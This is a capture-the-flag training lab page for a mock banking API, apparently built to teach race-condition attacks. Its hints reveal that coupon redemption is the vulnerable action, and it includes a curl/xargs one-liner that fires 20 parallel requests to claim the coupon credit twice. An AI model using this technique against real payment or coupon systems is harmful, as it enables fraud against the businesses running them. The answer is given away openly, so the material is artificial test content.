RatBank Ops - Race Condition Lab


An internal ops console over a twenty-action API. Nineteen of those actions do their check and their write as one atomic operation. Exactly one does not. Every action also sleeps about the same amount of time, so response timing will not hand you the answer.

Goal: find the action whose limit can be broken by firing requests in parallel, break it, and collect the flag. Sequential requests will never do it - each one of these limits holds perfectly when you go one at a time.

Your session id:

Every request needs ?sid=<your session id>. State lives per session id, not per cookie, so parallel requests really do share one bank account.

Single request

Parallel fire

Send the same request N times at once. Works against any action - picking the right one is the lab.

Output

ready

API reference

actionparamslimit it enforces
state / balance / docs-read only
deposit / withdraw / transferamount, tobalance may not go negative
redeem_couponcode=RAT100coupon is single use, +100
apply_cashback-once per cycle, +5
buy_item / refund_item-stock is 1, price 40
add_beneficiary / remove_beneficiarynamemaximum 3 beneficiaries
upgrade_plan / cancel_plan-one free upgrade
claim_invitecode=RAT-INVITE-2026invite is single use, +25
activate_gift_cardcode=GC-7741-0043gift card single use, +50
vote_pollchoiceone vote per account
reserve_seatwho2 seats total
rotate_token / reset-housekeeping
Hint 1

Work through the limited actions one at a time: every one of them refuses a second sequential request. Now repeat the same test with 20 copies fired at once and compare the state afterwards. Only one action ends up in a state it should not be able to reach.

Hint 2

The tell is in the response body, not the timing. After a parallel burst, call state and look for a counter that went past its ceiling, a balance that grew twice, or a flag that should only have fired once.

Hint 3

It is the coupon. redeem_coupon reads the state, waits on a "partner service" call, then writes coupon_used back. Two requests that both read before either writes will both pass the check and both credit 100.

Doing it outside the browser
SID=$(head -c 12 /dev/urandom | od -An -tx1 | tr -d ' \n')
seq 20 | xargs -P 20 -I{} curl -s \
  "https://labs.hackxpert.com/RACECONDITION/RatBankOps/api.php?action=redeem_coupon&code=RAT100&sid=$SID" \
  | grep -o 'flag{[^}]*}' | head -1

In Burp: send the request to Turbo Intruder (or Repeater, tab group, "Send group in parallel").


Back to Race Condition Labs